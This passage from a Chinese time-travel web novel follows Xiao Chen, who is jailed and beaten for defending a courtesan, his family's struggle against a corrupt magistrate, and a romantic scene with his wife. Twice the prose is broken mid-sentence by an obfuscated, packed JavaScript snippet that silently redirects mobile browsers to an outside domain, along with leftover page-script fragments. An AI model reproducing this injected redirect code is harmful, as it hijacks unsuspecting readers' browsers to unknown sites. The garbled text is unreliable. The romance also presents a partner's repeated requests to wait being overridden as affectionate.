领头人面色铁青,心中暗忖肖晨如此强硬,若真与他冲突起来,恐怕事情闹大了不好收场。可就这么放走丁香,又实在心有不甘。 那几个客人听闻肖晨这般强硬,其中一人怒目圆睁,恶狠狠地威胁道:“要是我们不满意,你应该知道后果!” 领头人脸上堆起一抹虚伪的笑,说道:“怎么会呢,各位爷放心。”说罢,他转过头,脸色瞬间阴沉下来,对着肖晨冷哼一声:“既然你不肯给我们面子,我们也不需要客气。”随即大声对侍从命令道:“把人给我扔出去!” 侍从们得令,一窝蜂地朝着肖晨涌去。肖晨心中早有准备,他身形一闪,巧妙地避开了最先扑上来的两人,同时大声说道:“你们竟敢如此放肆,就不怕我肖家追究?” 领头人听闻,却并未停下动作,反而冷笑道:“哼,在这儿我的地盘我说了算。等把你扔出去,再去肖家登门赔罪便是,大不了多花些银钱了事。但你今日搅了我客人的兴致,这面子,我必须找回来。” 丁香见状,心急如焚,不顾一切地挡在肖晨身前,对着领头人喊道:“不要!都是我的错,与公子无关,你们冲我来。” 领头人皱了皱眉,不耐烦地说道:“丁香,你别跟着添乱。再敢阻拦,连你一起收拾。” 肖晨看着挡在身前的丁香,心中感动又焦急。他轻轻将丁香拉到身后,说道:“丁香,你莫要担心。今日他们伤不了我。”说罢,他摆开架势,准备应对侍从们的围攻。侍从们再次一拥而上,肖晨凭借灵活的身法与不俗的拳脚功夫,一时间竟与众人僵持不下。但对方人多势众,随着时间推移,肖晨渐渐有些吃力,局面愈发危急。 领头人见侍从们一时拿肖晨没办法,恼羞成怒,赶忙招呼更多打手过来。一群凶神恶煞的大汉手持棍棒,气势汹汹地将肖晨围在中间。 领头人得意洋洋地看着肖晨,恶狠狠地说道:“你要是再不走,我们就要通知官府说你在这里闹事。看看谁有理! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993191|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这地界,黑白两道我都熟,到时候你肖家也保不了你。识相的,就赶紧滚蛋!” 肖晨虽身处险境,却依旧神色镇定,毫不畏惧地回怼道:“你颠倒黑白,仗势欺人,还妄图勾结官府。你以为这样就能为所欲为?我肖家行事向来光明磊落,岂会怕你这等小人的威胁!今日我为丁香讨公道,绝不退缩。你若真叫官府来,正好让大家看看你这肮脏生意背后的丑恶嘴脸。” 丁香在一旁心急如焚,她深知领头人说得出做得到,若真把官府牵扯进来,肖晨定会麻烦缠身。她拉着肖晨的衣袖,焦急地劝道:“公子,别再僵持了。您先走吧,我……我能应付。不能因为我让您陷入险境。” 肖晨看着丁香满是担忧的面容,心中一阵温暖与怜惜。他轻轻拍了拍丁香的手,坚定地说道:“丁香,别怕。我既已决定帮你,就不会临阵脱逃。他们这般行径,不能纵容。” 此时,打手们蠢蠢欲动,只等领头人一声令下便要动手。周围的气氛紧张到了极点,仿佛只要有一丝火星,便能引发一场激烈冲突。而肖晨,在这重重威胁之下,依然坚守着自己的立场,眼神中透露出一股绝不屈服的坚毅。 领头人见肖晨软硬不吃,又忌惮其家族财力,一咬牙,铁了心要给肖晨一个教训,于是赶紧吩咐手下人跑去通知官府捉人。 不多时,官府的捕快们便气势汹汹地赶到。领头人立刻换了副嘴脸,满脸委屈地迎上去,添油加醋地诉说起来:“官爷,您可算来了!这人无端闯入我这场所,扰乱秩序,还对我们大打出手,严重影响了生意,在场的客人都能作证呐!” 那几个客人平日里与这领头人也有些交情,此刻纷纷随声附和:“是啊是啊,官爷,这人太嚣张了,我们好言相劝,他还变本加厉,搅得我们没法好好听曲儿。” 捕快们皱着眉头,看向肖晨,问道:“你有何话说?” 肖晨义正言辞地将事情的来龙去脉详细叙述了一遍,强调自己是看不惯领头人对丁香的压迫与众人对丁香的羞辱,才仗义执言,绝非无端闹事。然而,领头人在当地经营许久,与官府也有些盘根错节的关系。捕快们听完双方陈述,只是敷衍地点点头,便不由分说地让人把肖晨捉了起来。 丁香见状,惊恐万分,冲上前去想要阻拦,却被打手们一把推开。她声泪俱下地喊道:“官爷,不是这样的,是他们在说谎啊!公子是好人,是为了帮我……”但捕快们充耳不闻,押着肖晨便要离开。 肖晨被押着,仍回头安慰丁香:“丁香,你别担心,我不会有事的。你自己照顾好自己,等我出来。”看着肖晨被带走的身影,丁香瘫倒在地,泪水决堤,满心自责与担忧。她深知,这一切都是因自己而起,不知等待肖晨的将会是什么。 肖晨毫无反抗之力,被径直投入了牢房。阴暗潮湿的牢房弥漫着一股腐臭之气,四周的墙壁上布满了斑驳的水渍,丝丝寒意渗透而出。 那领头人深知肖家必定会动用关系搭救肖晨,为了给肖晨一个难以磨灭的教训,让他不敢再插手此事,他思索一番后,匆匆修书一封,差人快马加鞭送给太尉。信中极尽歪曲之能事,将肖晨描述成一个飞扬跋扈、肆意扰乱治安的纨绔子弟,还编造了诸多不实情节,把自己描绘成无辜受欺的受害者。 太尉收到信后,看了眼信中内容,轻蔑地哼了一声,随手吩咐下去:“给我用刑,狠狠地打。敢在我的地盘闹事,也得看看自己有几斤几两。” 得到指令的狱卒们如狼似虎地冲进肖晨的牢房。肖晨原本正坐在角落里,思索着如何应对这突如其来的变故,见狱卒们气势汹汹地闯进来,心中一凛。还未等他做出反应,一根粗重的刑棍便朝着他的后背狠狠砸下。肖晨闷哼一声,身体向前踉跄了几步,却强忍着剧痛没有求饶。 狱卒们见状,更加肆无忌惮,拳脚与刑具如雨点般落在肖晨身上。每一次重击都仿佛要将他的骨头碾碎,鲜血从他的嘴角溢出,洇红了破旧的衣衫。但即便如此,肖晨依然紧咬着牙关,心中的怒火熊熊燃烧,他恨透了这等仗势欺人的行径,更担心丁香在外面不知会遭遇什么。 而此时,在那繁华街市的另一头,丁香心急如焚,四处奔走,想要设法营救肖晨。她深知自己势单力薄,但为了肖晨,她拼了命地向每一个她认为可能有能力帮忙的人求助,可得到的却大多是冷漠的拒绝与无情的嘲讽。 阿成见少爷被抓,心急如焚,一刻不敢耽搁,立刻快马加鞭赶回肖府。一进府门,他便径直冲向肖母所在的院子,正巧李傲雪也在那儿。 阿成满脸焦急,气喘吁吁地禀报道:“夫人,不好了!少爷被官府抓了,听说是为了一个低贱女子!” 肖母和李傲雪听闻,皆是一惊。肖母手中的茶杯“哐当”一声掉落在地,脸色瞬间变得煞白。李傲雪也是柳眉紧蹙,眼中满是担忧。此刻,她们来不及细问事情的来龙去脉,救人要紧。 肖母急忙吩咐道:“阿成,你立刻派人快马加鞭去外地找老爷回来,就说晨儿出事了!” 接着,她转头看向李傲雪,说道:“傲雪,咱们也不能干等着,你我拿着钱财,去官府打点一番,务必先把晨儿保释出来。” 李傲雪赶忙点头,两人匆忙收拾了些贵重财物,便心急火燎地朝着官府赶去。一路上,肖母心急如焚,不停地念叨着:“晨儿啊,你怎么这么糊涂,为了个女子把自己弄进大牢,这可如何是好!” 李傲雪则紧紧攥着手中的钱袋,神色凝重,心中暗暗祈祷肖晨不要出什么事。 到了官府,肖母和李傲雪找到主事之人,好说歹说,递上钱财,主事的官差收了好处,态度稍微缓和了些,说道:“夫人,这事儿有些棘手,上头有人吩咐下来,不好办呐。不过看在您这么有诚意的份上,我去通融通融,但能不能把人放出来,还得看上面的意思。” 肖母焦急地说道:“官爷,您一定要帮帮我们,我就这么一个儿子,他要是有个三长两短,我也活不下去了!” 主事官差应承着,转身进去了。肖母和李傲雪在外面焦急地等待着,每过一刻,她们的心就揪紧一分,不知肖晨在牢中到底遭遇了什么,也不知这一趟打点能否顺利救出肖晨。 县令听闻肖母和李傲雪带着钱财来官府打点救肖晨,心中顿时生出邪念,觉得这是个大发横财的好机会。他嘴角微微上扬,露出一丝狡黠的笑容,盘算着如何借此狠狠敲肖家一笔。 县令使了个眼色,身旁的心腹会意,立刻安排衙役以行贿的罪名,将肖晨严刑拷打。阴暗的牢房里,肖晨本就因之前的毒打伤势严重,此刻又遭受新的折磨,皮开肉绽,几近昏厥。每一声惨叫都似一把利刃,割在肖晨自己和关心他的人的心口。 与此同时,县令又派人将肖母抓了起来。当衙役如狼似虎地冲进等候的房间,一把抓住肖母时,肖母又惊又怒,质问道:“你们这是干什么?我儿子还生死未卜,你们怎能如此对待我们!” 县令慢悠悠地踱步过来,皮笑肉不笑地说道:“哼,有人举报你们行贿,这可是大罪。我身为父母官,自然要秉公办理。” 肖母气得浑身发抖:“你这是颠倒黑白!我们只是想救我儿子,哪里行贿了?你这是滥用职权!” 县令却丝毫不以为意,反而威胁道:“事到如今,你还嘴硬?若不想吃苦头,就乖乖交出更多钱财,说不定我还能从轻发落。不然,你和你儿子都别想好过!” 李傲雪在一旁又急又怕,冲上前说道:“大人,您不能这样!我们肖家向来奉公守法,今日实在是救人心切,还望大人高抬贵手。” 县令斜睨了李傲雪一眼,冷哼一声:“少在这儿废话,要么交钱,要么等着吃苦!” 说罢,一甩袖子,带着衙役扬长而去,只留下肖母和李傲雪在原地,满心绝望与无助。肖母望着李傲雪,泪水在眼眶里打转:“傲雪,这可如何是好,晨儿他……” 李傲雪强忍着泪水,安慰道:“母亲,您别急,我们再想想办法,一定不能让他们得逞!” 然而,此刻的她们,在这黑暗的官场势力面前,却显得如此渺小,不知该如何突破这重重困境,救出肖晨和肖母。 31. 热情的她,嘴都让她亲肿了 肖母强忍着心中的悲痛与恐惧,看着李傲雪,目光中满是哀求与嘱托:“傲雪,你先回去等老爷回来想办法。这里情况复杂,你在这儿也帮不上忙,别再把自己搭进去。” 李傲雪焦急万分,眼眶泛红,声音带着哭腔说道:“母亲,您怎么办?我怎能丢下您不管!” 肖母伸手轻轻握住李傲雪的手,微微摇头:“我不要紧,他们一时半会儿还不敢把我怎么样。你现在赶紧回去,和老爷商量对策,一定要救救你的丈夫。晨儿是咱们肖家的独苗,绝不能有事。” 李傲雪咬了咬嘴唇,泪水夺眶而出,但她还是坚定地点了点头:“母亲,您放心,我一定会把少爷救出来的。我也不能没有他。我这就回去,和父亲一起想办法,定会让您和少爷平安无事。” 肖母欣慰地看着李傲雪,轻轻拍了拍她的手:“好孩子,快去吧,路上小心。” 李傲雪转身匆匆离开官府,一路上心急如焚,脑海中不断思索着解救肖晨和肖母的办法。回到肖府后,她立刻安排下人继续打探消息,自己则焦急地等待老爷归来,每一分每一秒的等待都如煎熬一般。 肖晨蜷缩在牢房的角落,身上的伤痛如潮水般一波波袭来,让他几乎失去了意识。皮开肉绽之处,鲜血早已凝固又被新的伤口洇湿,衣衫破碎不堪,紧紧黏在血肉模糊的背上。 他艰难地抬起头,眼神中满是愤怒与不甘,心中暗自咒骂:“这古代的牢房,简直黑暗到了极点,根本没有说理的地方!”在这无尽的痛苦与绝望中,他的思绪不由自主地飘向现代。 “不像现代,起码警察不会随意对人用刑,会依据法律给人一个公道。”他想着现代社会的法治秩序,心中涌起一阵悲哀。在这里,权势与金钱似乎可以肆意践踏正义,无辜之人只能任人宰割。 然而,即便身处如此绝境,肖晨心中的求生欲望和对正义的执着并未熄灭。他咬着牙,强忍着伤痛,心中默默盘算着:“我不能就这么倒下,一定要想办法出去,揭露这些人的恶行,为自己和丁香讨回公道。”尽管身体极度虚弱,他的眼神却渐渐坚定起来,那是一种对摆脱困境、惩治恶人的坚定信念。 肖父得知家中变故,心急如焚,深知此事棘手,普通途径恐难以解决,思索再三,决定前往丞相府求助。 他匆匆赶到丞相府,门人通报后,高丞相很快迎了出来。见是肖父,高丞相脸上露出一丝惊讶,笑着说道:“这是什么风把你吹来了?平日里可难得见你登门啊。” 肖父一脸焦急,也顾不得寒暄,赶忙说道:“丞相,实不相瞒,我那犬子肖晨被官府捉了,如今生死未卜啊!” 高丞相听闻,微微皱眉,说道:“竟有此事?这官府怎么没把事情弄清楚就抓人?” 肖父深知此时不是诉苦的时候,赶忙从怀中掏出礼单,递到高丞相面前,诚恳地说道:“丞相,犬子一向奉公守法,此次定是遭人陷害。如今这局面,还得仰仗丞相出面周旋,才能还他一个清白。这点心意,还望丞相笑纳。” 高丞相接过礼单,看了一眼,心中暗自思忖。肖家虽非顶级豪门,但也是当地颇有势力的家族,与自己平日里也有些往来。此事若处理得当,既能卖肖家一个人情,又能彰显自己的威望。沉吟片刻,他抬起头,看着肖父说道:“肖兄莫急,此事我会过问。你先回去,静候消息,我定会尽力查明真相,还你儿子一个公道。” 肖父听闻,心中稍安,赶忙作揖拜谢:“多谢丞相!若能如此,肖家上下定当感恩戴德。”说罢,千恩万谢地告辞离去,满心期盼着高丞相能尽快出手相助,解救肖晨于水火之中。 高丞相身着华服,神色威严地踏入官府。县令正在后堂盘算着如何从肖家榨取更多钱财,听闻丞相驾到,吓得脸色煞白,匆忙整了整官服,一路小跑着去迎接。 见到高丞相,县令赶忙躬身行礼,战战兢兢地说道:“下官不知丞相大驾光临,有失远迎,还望丞相恕罪。” 高丞相微微皱眉,扫视了一眼四周,问道:“这究竟是怎么回事?我听闻肖家公子被你们抓了。” 县令心中暗惊,赶忙赔着笑脸,添油加醋地说道:“回丞相的话,这肖晨实在是胆大妄为,故意在本地闹事,想要强行给一个奴隶赎身,严重破坏了商户的生意。下官为了维护本地治安,不得不将他捉拿归案。” 高丞相听闻,沉吟片刻后说道:“既然他已经被你们抓来了,打也打了,关也关了。如今也算是给了个教训,现在就把人都放出来吧。” 县令一听,心中有些不情愿,好不容易到手的肥肉怎能轻易放弃,但又不敢违抗丞相的命令,只得面露难色地说道:“丞相,这……这肖晨公然扰乱秩序,就这么放了,恐怕难以服众啊,也显得我等官府执法不严。” 高丞相瞥了县令一眼,目光中带着一丝威严与不满,冷冷说道:“怎么,本丞相的话你也敢不听?我说放人,自然有我的道理。你若觉得执法不严,日后加强便是,莫要在此啰嗦。” 县令心中一凛,赶忙点头哈腰地说道:“丞相息怒,下官不敢。这就照办,这就照办。”说罢,赶忙吩咐手下人去牢房放人,心中却暗自叫苦不迭,到手的钱财就这么没了,还得罪了肖家,真是偷鸡不成蚀把米。不多时,肖晨和肖母便被带了出来。高丞相看着狼狈不堪的两人,微微叹了口气,说道:“肖兄,令郎和令堂已平安无事,你们先回去好好调养吧。此事,本丞相会再做调查。”肖父赶忙带着肖晨和肖母向高丞相拜谢,随后搀扶着二人离开了官府。 高丞相见刚才县令竟敢当面推诿,心中顿时涌起一股怒火。他目光如炬,直视着县令,冷冷说道:“你不想放了他,怕是打着他更多价值的主意吧?哼,好大的胆子!” 县令一听,吓得脸色瞬间变得惨白如纸,“扑通”一声跪倒在地,连连磕头:“丞相饶命,丞相饶命啊!下官不敢,下官只是一时糊涂,怕放了人难以服众,绝无其他私心啊!” 高丞相冷哼一声,并不理会县令的求饶,转头对身旁的侍从吩咐道:“去告知巡抚,就说此地县令以权谋私。让巡抚仔细彻查,看看他还有没有其他罪行,若有,家产全部充公!” 侍从领命,即刻离去。县令瘫倒在地,面如死灰,嘴里还在不停地念叨着求饶的话,但高丞相已无心再听。他厌恶地看了县令一眼,拂袖而去。 此时,肖父正带着肖晨和肖母缓缓走出官府。肖晨虽身体虚弱,但心中对高丞相的感激溢于言表。他深知,若不是高丞相及时出手,自己和母亲今日恐怕凶多吉少。 而那县令,瘫坐在地,眼神空洞,仿佛失去了所有生气。他怎么也没想到,自己一时的贪念,竟会招来如此大祸。眼睁睁看着自己苦心经营的一切即将化为乌有,心中满是懊悔与绝望。他知道,巡抚一旦介入彻查,自己这些年犯下的诸多罪行必定无所遁形,等待他的,将是严厉的惩罚。 肖父搀扶着肖晨,肖母在一旁忧心忡忡地跟着,一行人缓缓迈进家门。早已在家中焦急等候的李傲雪,一眼便望见了形容狼狈的肖晨,尤其是他身上那一道道触目惊心的伤口,顿时眼眶泛红。 李傲雪几步奔到肖晨身边,声音带着哭腔说道:“少爷,那些人怎么对你下这样的狠手啊!”说罢,赶忙转头对着身旁的丫鬟急切吩咐:“快去,赶紧去找大夫!动作要快!” 肖父看着心疼不已的李傲雪,微微叹了口气,说道:“傲雪,先别慌,你扶晨儿回房间,大夫来了也好诊治。” 李傲雪轻轻点头,小心翼翼地揽过肖晨的手臂,温柔却又坚定地说道:“少爷,咱们回房,大夫马上就来。”肖晨微微颔首,虚弱地挤出一丝微笑:“我没事,傲雪,别担心。”然而,他苍白的脸色和微微颤抖的身体却出卖了他。 李傲雪半扶半抱着肖晨,一步一步朝着房间走去,每一步都走得极为小心,生怕扯动肖晨的伤口。肖母在后面看着,泪水忍不住夺眶而出,嘴里念叨着:“造孽啊,这遭的什么罪……” 待他们进了房间,李傲雪轻轻将肖晨安置在床上,看着他痛苦的模样,心如刀绞。她一边轻声安慰着肖晨,一边焦急地望向门口,盼望着大夫能快点到来。不多时,丫鬟带着大夫匆匆赶来,李傲雪赶忙起身相迎,急切说道:“大夫,您快看看我家少爷,他……他伤得太重了。”大夫赶忙放下药箱,走到床边,开始仔细为肖晨诊治。李傲雪则守在一旁,紧紧握着肖晨的手,眼神中满是担忧与心疼。 大夫神色凝重,仔细查看了肖晨身上的伤口,一边摇头一边从药箱里拿出各种器具和草药。他先是小心翼翼地用温水清洗着那些血肉模糊的创口,每一个动作都引得肖晨微微皱眉,李傲雪在一旁看得揪心,忍不住轻轻握紧肖晨的手,仿佛这样就能替他分担痛苦。 清洗完毕,大夫开始为伤口敷药,一边敷一边说道:“这些伤口都有些严重,幸好送来及时,若是再耽搁些时日,怕是会感染恶化。老夫先给公子敷上这止血生肌的草药,再开几副内服的药,按时服用,好好调养,应该不会留下大碍。” 李傲雪听闻,心中稍安,赶忙说道:“多谢大夫,还请您务必用最好的药,无论花费多少,我们肖家都不会吝啬。”大夫点头称是,随后写好药方,递给一旁的丫鬟,叮嘱道:“照方抓药,一日三次,用文火慢煎。” 丫鬟领命匆匆离去。李傲雪又看向大夫,焦急问道:“大夫,我家少爷需卧床多久才能痊愈?”大夫思索片刻,说道:“看公子这伤势,起码得卧床半月有余,期间要注意伤口不能沾水,饮食也需清淡,不可过度劳累。” 肖晨躺在那儿,虽身体疼痛难忍,但看着李傲雪为自己忙前忙后,心中满是感动。他轻轻握了握李傲雪的手,说道:“傲雪,别担心,我会好起来的。这次多亏了父亲和丞相,还有你一直守着我。”李傲雪眼眶再次泛红,说道:“少爷,你别说话,好好养伤。只要你能平安无事,比什么都重要。” 此时,肖父和肖母也轻轻走进房间。肖母走到床边,看着儿子憔悴的面容,泪水再次夺眶而出:“晨儿,你受苦了。都怪母亲没本事,没能护你周全。”肖晨赶忙说道:“母亲,您别这么说,这事儿不怪您。是那些人太过分,仗势欺人。” 肖父微微叹气,说道:“此次多亏了高丞相出手相助,不然这事儿还不知要闹到什么地步。晨儿,你此次行事太过鲁莽,以后切不可再如此冲动。”肖晨点头道:“父亲教训的是,孩儿以后定会三思而后行。只是那丁香姑娘……” 李傲雪听到“丁香姑娘”,心中微微一怔,但看到肖晨如此在意,也不好说什么。肖父说道:“这事儿等你伤好再说,现在你只管安心养伤。”肖晨无奈地点点头,他知道父亲说得在理,此刻自己确实无力再顾及其他。 接下来的日子里,李傲雪日夜守在肖晨身边,亲自煎药、喂药,照顾他的饮食起居。肖晨在家人的悉心照料下,伤势逐渐好转。而他心中,却始终惦记着丁香,不知她在自己被抓后,遭遇了什么…… 肖晨身体渐好,已能在屋内走动。一日午后,肖父神色凝重地走进他的房间,示意正在照料的李傲雪先出去。李傲雪微微一愣,看了看肖晨,见他点头,便轻步退出,顺手关上了房门。 肖父转过身,目光严厉地看向肖晨,语重心长地说道:“晨儿,你这次实在是太莽撞了,怎么能为了一个低贱女子就不顾后果地行事?你知不知道,要不是咱们家有些关系,能请动高丞相出面,换做普通人家,你早就没命了!” 肖晨微微低下头,心中虽有自己的坚持,但也明白父亲所言非虚。肖父继续说道:“咱们家只是商人,不像那些当官的有权有势。他们只需一句话,就能随意给你安个罪名,到时候,咱们有口也难辩呐!” 肖晨抬起头,眼神坚定地看着父亲:“父亲,我知道您是为我好,可丁香姑娘并非您说的那般低贱。她身处困境,受尽欺辱,我实在无法坐视不管。” 肖父皱了皱眉头,有些生气地说道:“晨儿,你太天真了。这世间可怜之人多了去了,你救得过来吗?你这般行事,不仅害了自己,还可能连累整个家族。” 肖晨沉默片刻,缓缓说道:“父亲,我明白家族的责任,但我也不能违背自己的良心。当时若不出手,我日后定会良心不安。” 肖父看着儿子倔强的模样,心中又气又无奈,重重地叹了口气:“唉,你这孩子,就是太轴。这次算是万幸,可不能再有下次了。” 肖晨微微点头:“父亲,孩儿知道错了。只是孩儿还是放心不下丁香姑娘,不知她现在怎样了。” 肖父摆了摆手,说道:“这事儿以后再说,你先把身体养好了。咱们肖家在这事儿上已经出了不少力,不能再轻易涉险。” 肖晨心中虽有些失落,但也只能应道:“是,父亲。”肖父看着儿子,又叮嘱了几句,这才转身离开房间。肖晨望着父亲离去的背影,心中五味杂陈,一方面明白父亲的担忧,一方面又难以割舍对丁香的牵挂。 李傲雪见肖父离开,轻轻推开门走进房间。她看着肖晨,眼中满是委屈与疑惑,声音微微颤抖地问道:“少爷,你究竟是为了什么事情,那个叫丁香的女子又是谁?你……你是不是喜欢她,不想要我了,才这么奋不顾身?” 肖晨心中一紧,赶忙拉住李傲雪的手,解释道:“傲雪,你别误会。我对丁香,并非男女之情。只是那日见她被人欺辱,实在不忍心袖手旁观。她虽是身处风尘,却有着难得的善良与才情,不该被那些人如此践踏。” 李傲雪微微咬着嘴唇,泪水在眼眶里打转:“可是少爷,你为了她不顾自己安危,我……我真的很害怕。我以为……以为你不再在意我了。” 肖晨心疼地将李傲雪拥入怀中,轻声说道:“傲雪,你说什么傻话。我怎么会不在意你呢?这次是我考虑不周,让你担心了。但当时的情况,我若不出手,良心难安。” 李傲雪靠在肖晨怀里,抽泣着说道:“少爷,我知道你心地善良,可以后能不能多为自己想想,也为我想想。你要是出了事,我该怎么办?” 肖晨轻轻拍着李傲雪的背,说道:“我知道了,傲雪。以后我会更加小心,不会再让你担惊受怕。你放心,我会一直陪着你。” 李傲雪抬起头,看着肖晨,破涕为笑:“少爷,你说的可不许反悔。那……那你打算怎么安置丁香姑娘呢?” 肖晨微微皱眉,思索片刻后说道:“等我身体彻底恢复,还是想想法子帮她赎身,让她能过上安稳的日子。她不该被困在那种地方。傲雪,你会怪我吗?” 李傲雪犹豫了一下,最终还是轻轻摇了摇头:“只要少爷心中有我,我……我不会怪你。只是希望少爷以后做任何事,都要先考虑清楚。” 肖晨看着李傲雪,心中满是感动:“傲雪,谢谢你的理解。你如此善解人意,我当然要为你考虑。”说罢,他紧紧握住李傲雪的手,仿佛在向她许下永恒的承诺。 李傲雪脸颊微微泛红,仰头望着肖晨,轻声问道:“少爷,要是真的给她赎身,会娶她吗?” 肖晨温柔地看着李傲雪,眼神坚定且澄澈,毫不犹豫地说道:“不会,我是不能这么做的。我和丁香,只是知己,是朋友。在我心里,她更像需要我帮助的人,绝非共度一生之人。” 说完,他轻轻捧起李傲雪的脸,缓缓靠近,吻了上去,带着深情与眷恋,呢喃道:“我已经有了你,这便够了,此生有你相伴,是我最大的幸运。” 李傲雪闭上双眼,沉浸在这温柔的一刻,随后主动回吻着肖晨,双手紧紧环住他的脖颈,带着一丝撒娇与占有欲说道:“那就好,我也不能把你让给别人。你只能是我的。” 两过了许久,他们缓缓分开,李傲雪将头靠在肖晨肩上,两人静静地享受着这份温馨与安宁。 肖晨看着她说到:你现在占有欲可太强了,她一听便说到,少爷,我,我是不是说错话了。我是真的爱少爷,不想让你属于别的女子,只是,只是你不要生气,我,我会改掉的。 肖晨看着李傲雪一脸紧张与自责的模样,忍不住轻笑出声,伸手轻轻刮了刮她的鼻子,温柔地说道:“傻丫头,我没生气。其实,看到你这样在意我,我心里开心还来不及呢。” 李傲雪微微一愣,抬眸看向肖晨,眼中满是疑惑:“少爷,您真的不生气?我还以为……以为您会觉得我太小心眼了。” 肖晨将李傲雪搂得更紧了些,说道:“怎么会呢?我知道你是因为爱我,才会这样。这种占有欲,反倒是你在乎我的证明。我高兴还来不及,又怎会怪你。” 李傲雪脸上泛起一抹红晕,嘴角微微上扬,轻声说道:“少爷,我是真的爱您,爱到不想让您有一丝一毫属于别的女子。我害怕失去您,所以才……” 肖晨打断她的话,认真地说道:“傲雪,我明白你的心意。我也向你保证,我此生只钟情于你一人。你无需担忧,更不用为了迎合我去改变自己。你这样率真可爱的模样,我喜欢还来不及。” 李傲雪眼中闪烁着感动的泪花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993192|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她紧紧依偎在肖晨怀里,说道:“少爷,听您这么说,我就放心了。” 肖晨感受着李傲雪的热情,心中满是甜蜜,轻声笑道:“有媳妇就是好,时刻都有人在乎自己。”李傲雪听他这么说,心里像吃了蜜一样甜,脸上洋溢着幸福的笑容。 她情难自抑,主动吻上肖晨,双臂紧紧环绕着他,仿佛生怕他跑掉一般,双唇不肯松开。肖晨刚想开口说话,便被李傲雪柔软的唇堵住,只能发出模糊的声音。 李傲雪的手也不自觉地在肖晨身上轻轻游走,带着几分俏皮与眷恋,娇嗔道:“现在你可不许跑。” 肖晨满脸无奈又带着宠溺,赶忙说道:“我能跑到哪里去。”话还没彻底说完,李傲雪眼神中带着炽热与执着,双手轻轻一推,便将他推倒在床上。紧接着,她欺身而上,紧紧贴着肖晨,一边热烈地吻着他,一边含糊不清地呢喃:“现在你可是我一个人的。” 肖晨被这突如其来的举动弄得有些慌了神,脸颊微微泛红,结结巴巴地说道:“这,要不等等吧。”然而李傲雪仿佛没听见一般,她此刻满心满眼都是肖晨,沉醉在这份爱意之中,哪里肯停。只见她双手轻轻捧着肖晨的脸,加深了这个吻,似乎想要将自己所有的爱意都通过这个吻传递给肖晨。 肖晨被李傲雪吻得嘴唇都微微肿起,他微微偏头,带着些求饶的意味说道:“你放过我吧。”李傲雪却一脸狡黠,眼中满是笑意,娇嗔道:“少爷,这可不行。”说罢,不仅没有停下,反而越发沉醉其中,仿佛着了魔一般,愈发不想放过眼前这人。 她的双手轻轻环着肖晨的脖颈,将自己的身子又凑近了几分,她继续轻轻吻着肖晨,像是要把之前担惊受怕的情绪都借此驱散,一边吻一边喃喃道:“少爷,我太害怕失去你了,就让我好好感受你的存在。” 肖晨看着如此执着的李傲雪,心中既无奈又感动,只能半推半就地承受着这份炽热的爱意。 在这氛围渐浓的情境中,李傲雪不知不觉仅剩下寸缕。肖晨看着这般模样的她,瞬间明白接下来可能要发生什么,顿时紧张起来,结结巴巴地说道:“我,我没做好心理准备,你让我做点准备。” 李傲雪见肖晨这般羞涩的模样,不禁“噗嗤”一笑,心中暗道:自家这小夫君每次都羞得要命,要是换了别的男子,面对这般情形,只怕早就迫不及待地折腾自己了。但正因为肖晨如此纯真腼腆,才更让她心生欢喜与爱意。 她停下动作,轻轻依偎在肖晨身旁,手指轻轻划过他的脸庞,温柔说道:“好,那我等你,小夫君。不过你可要快点准备好哦,我可不想等太久。”说罢,她在肖晨脸颊上轻轻一吻,眼中满是期待与爱意。肖晨感受到她的温柔与体贴,心中的紧张也渐渐舒缓,缓缓握住她的手,点了点头。 肖晨心里每次面对她这般热情,都隐隐有些害怕。虽说这副身体男儿身,可不知为何,一到这种亲近时刻,就不自觉地有些不自然。他的耳根泛红,心脏也跳得格外急促。 他偷偷瞥了一眼身旁眼神炽热的李傲雪,心中满是纠结。毕竟自己正值血气方刚的年纪,生理上的冲动实在难以抑制。但他又着实担心,若是一时控制不住,会不小心伤了她柔弱的身体。 这种矛盾的心情让他有些不知所措,既眷恋李傲雪给予的爱意,又害怕自己的冲动会造成不好的后果。他深吸一口气,努力平复内心的波澜,轻轻握住李傲雪的手,柔声道:“傲雪,我是真的爱你,只是……只是我怕自己万一没把握好,会让你受苦。咱们,咱们还是慢慢来,好不好?” 李傲雪笑了笑,眼中满是深情与渴望,柔声道:“少爷,怎么会受苦呢。我高兴还来不及呢,你可知道我有多么喜欢跟你亲密。”说罢,见肖晨依旧有些犹豫,她主动凑上前,急切地吻着他,似乎想用这热烈的举动打消肖晨的顾虑。 肖晨被她的热情冲击得有些晕眩,心中的防线摇摇欲坠。一方面是对李傲雪难以抑制的爱意,另一方面又残存着那一丝担忧。他试图回应李傲雪的吻,但理智又让他下意识地躲避。 “傲雪……”肖晨趁着间隙,艰难地开口,声音带着一丝沙哑,“我怕……”然而话未说完,又被李傲雪再次吻住。李傲雪紧紧贴在他身上,双手轻轻环住他的脖颈,仿佛在向他传递着自己毫无保留的爱意与坚定决心,让肖晨渐渐沉溺其中,思绪也愈发混乱,不知该如何是好。 李傲雪的举动很急,她热烈回应。肖晨在开始放飞了,原本尚存的一丝犹豫也被彻底冲散,她也配合他。 